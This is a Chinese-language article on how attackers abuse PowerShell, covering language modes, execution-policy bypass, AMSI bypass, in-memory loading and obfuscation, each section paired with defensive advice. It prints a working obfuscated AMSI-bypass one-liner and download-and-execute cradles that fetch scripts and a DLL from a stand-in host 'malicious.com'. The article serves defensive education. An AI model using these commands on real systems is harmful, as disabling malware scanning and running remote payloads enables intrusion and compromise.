PowerShell 是 Windows 系统中强大的脚本语言和命令行工具,因其灵活性和与 .NET 框架的深度集成,成为攻击者执行恶意操作的热门选择。从进攻性安全视角看,PowerShell 的语言模式、执行策略(Execution Policy)、AMSI 绕过技术、内存加载以及代码混淆是攻击者经常面临的问题/常用的手段。本文将围绕这些核心点,简要分析 PowerShell 在进攻性安全中的应用及防御对策。
一、语言模式:PowerShell 的“rbash”
1.1 语言模式概述
PowerShell 的语言模式通过 $ExecutionContext.SessionState.LanguageMode
定义,控制脚本和命令的执行权限,类似于 Linux 中的限制性 shell(如 rbash)。它决定 PowerShell 环境中允许的操作类型,主要包括:
- FullLanguage:无限制模式,允许执行所有命令、脚本和动态代码(如
Invoke-Expression
)。这是攻击者的理想环境。 - ConstrainedLanguage:受限模式,允许基本脚本和 cmdlet,但禁止动态代码生成和不安全操作,类似 rbash 的功能限制。
- RestrictedLanguage:更严格,仅允许简单命令和变量操作,脚本执行被禁用。
- NoLanguage:最严格,仅限交互式命令,脚本完全禁用。
1.2 进攻性安全中的利用
语言模式是攻击者的首要障碍。在 FullLanguage 模式下,攻击者可以自由执行复杂脚本、调用 .NET 方法或加载外部 DLL。但在 ConstrainedLanguage 或 RestrictedLanguage 模式下,攻击者需寻找绕过方法:
-
检测语言模式:
if ($ExecutionContext.SessionState.LanguageMode -ne "FullLanguage") {Write-Host "Restricted mode detected, switching to alternative payload." }
-
绕过限制:
- 利用 .NET 反射调用非公开方法,绕过 ConstrainedLanguage 的限制。
- 切换到 PowerShell 2.0(无 AMSI 和语言模式限制):
powershell -Version 2 -Command "malicious code"
. - 使用 COM 对象或 Windows API 执行功能,规避 PowerShell 限制。
1.3 防御建议
- 强制 ConstrainedLanguage 模式:通过 Device Guard 或组策略(GPO)设置,限制动态代码执行。
- 监控语言模式切换:记录
$ExecutionContext.SessionState.LanguageMode
的更改,检测异常行为。 - 禁用 PowerShell 2.0:防止攻击者降级到无限制环境。
二、执行策略:限制脚本与模块加载
2.1 执行策略概述
执行策略(Execution Policy)控制 PowerShell 脚本的运行条件,类似于限制外部模块加载的机制。常见策略包括:
- Restricted:默认,禁止所有脚本运行,仅允许交互式命令。
- RemoteSigned:本地脚本可运行,远程脚本需签名。
- AllSigned:仅允许签名脚本运行。
- Unrestricted:允许所有脚本运行。
- Bypass:完全忽略执行策略。
查看或设置策略:
Get-ExecutionPolicy
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
2.2 进攻性安全中的绕过
执行策略是攻击者的第一道防线,常用绕过技术包括:
-
直接绕过:
powershell -ExecutionPolicy Bypass -File malicious.ps1
-
交互式命令:
- 在 Restricted 模式下,通过命令行输入恶意代码:
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
- 在 Restricted 模式下,通过命令行输入恶意代码:
-
非脚本执行:
- 执行策略仅限
.ps1
文件,攻击者可通过.bat
、.vbs
或直接命令调用 PowerShell:powershell -Command "malicious code"
- 执行策略仅限
-
修改策略:
- 具有管理员权限时,攻击者可修改策略为 Bypass:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass
- 具有管理员权限时,攻击者可修改策略为 Bypass:
2.3 防御建议
- 锁定执行策略:通过 GPO 强制 Restricted 或 AllSigned,防止修改。
- 监控策略更改:记录
Set-ExecutionPolicy
的调用日志。 - 禁用命令行参数:通过安全软件阻止
-ExecutionPolicy
参数。 - 使用签名:确保脚本经过数字签名,限制未签名脚本运行。
三、AMSI Bypass:规避恶意代码检测
3.1 AMSI 简介
反恶意软件扫描接口(AMSI)是 Windows 10 及以上版本的安全功能,实时扫描 PowerShell 脚本并将其发送到反病毒软件(如 Windows Defender)进行检测。AMSI 是攻击者执行恶意脚本的主要障碍。
3.2 AMSI Bypass 技术
攻击者通过混淆和内存操作绕过 AMSI。以下是典型示例的分析:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"( ( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ), ( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ) )."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
- 混淆:通过字符串拼接(如
'V'+'aR'
)和格式化(如"{1}{0}"-F'F','rE'
),隐藏敏感字符串(如AmsiUtils
),规避签名检测。 - 反射调用:通过 .NET 反射修改
System.Management.Automation.AmsiUtils
的amsiInitFailed
字段为True
,禁用 AMSI 扫描。 - 效果:AMSI 认为初始化失败,跳过脚本扫描,允许恶意代码执行。
其他绕过方法:
- 内存补丁:修改
AmsiScanBuffer
函数,禁用扫描。 - 降级 PowerShell:使用 PowerShell 2.0(无 AMSI 支持)。
- 环境变量:设置
PSExecutionPolicyPreference
为 Bypass。
3.3 防御建议
- 启用 AMSI 日志:记录 AMSI 扫描事件,检测绕过尝试。
- 监控反射调用:使用 EDR 工具检测对
AmsiUtils
的异常访问。 - 禁用 PowerShell 2.0:防止降级绕过。
- 强制脚本签名:结合 AllSigned 策略,限制未签名脚本。
四、内存加载与代码混淆
4.1 内存加载
内存加载(In-Memory Execution)是攻击者常用的技术,通过在内存中直接执行代码,避免将恶意脚本写入磁盘,降低被检测的风险。常见方法包括:
-
Invoke-Expression:
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
-
反射加载 DLL:
$bytes = (New-Object Net.WebClient).DownloadData('http://malicious.com/malware.dll') [Reflection.Assembly]::Load($bytes)
-
内存中执行 shellcode:
- 使用 PowerShell 调用 Windows API(如
VirtualAlloc
和CreateThread
)执行 shellcode。
- 使用 PowerShell 调用 Windows API(如
4.2 代码混淆
混淆是隐藏恶意代码的关键技术,旨在规避 AMSI 和反病毒软件的检测。常见混淆方法:
- 字符串拼接:如
'S'+'eT-It'+'em'
代替Set-Item
。 - 格式化字符串:如
"{0}{1}" -f 'Invo','ke'
代替Invoke
。 - 变量混淆:使用随机变量名或编码(如 Base64)隐藏代码逻辑。
- 编码技术:将脚本编码为 Base64 或其他格式:
$code = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('malicious code')) powershell -EncodedCommand $code
4.3 防御建议
- 监控网络请求:检测异常的 PowerShell 网络活动(如
Net.WebClient
下载)。 - 启用脚本块日志:记录所有执行的脚本内容,包括混淆后的代码:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
- 使用行为检测:EDR 工具监控内存操作和异常 API 调用。
- 沙箱分析:在沙箱中运行 PowerShell 脚本,分析其行为。
五、PowerShell 攻击链与综合防御
5.1 攻击链中的 PowerShell
PowerShell 在攻击链中的典型应用:
- 初始访问:通过钓鱼邮件或恶意宏运行 PowerShell 脚本。
- 权限提升:利用 PowerShell 调用 API 或修改配置获取高权限。
- 持久化:通过注册表或计划任务实现持久化。
- 横向移动:使用
Invoke-Command
在网络中传播。 - 数据窃取:下载敏感数据或执行勒索软件。
5.2 综合防御策略
- 最小权限:限制普通用户的 PowerShell 访问,仅允许管理员使用。
- 日志监控:启用 PowerShell 脚本块日志和 AMSI 日志,记录所有活动。
- 行为检测:使用 EDR 检测异常的 PowerShell 行为(如网络请求、反射调用)。
- 环境加固:
- 强制 ConstrainedLanguage 模式。
- 设置 AllSigned 执行策略。
- 禁用 PowerShell 2.0。
- 用户教育:培训用户识别钓鱼邮件和恶意宏,防止初始感染。
六、结论
PowerShell 的语言模式(类似 rbash)、执行策略(限制脚本和模块加载)、AMSI 绕过、内存加载和代码混淆是攻击者利用 PowerShell 进行攻击的核心技术。通过混淆和内存操作,攻击者可以规避检测,执行恶意代码。防御者需通过严格的配置、日志监控和行为检测构建多层次防御体系,降低 PowerShell 攻击的风险。持续关注新的绕过技术和攻击方法,是确保系统安全的关键。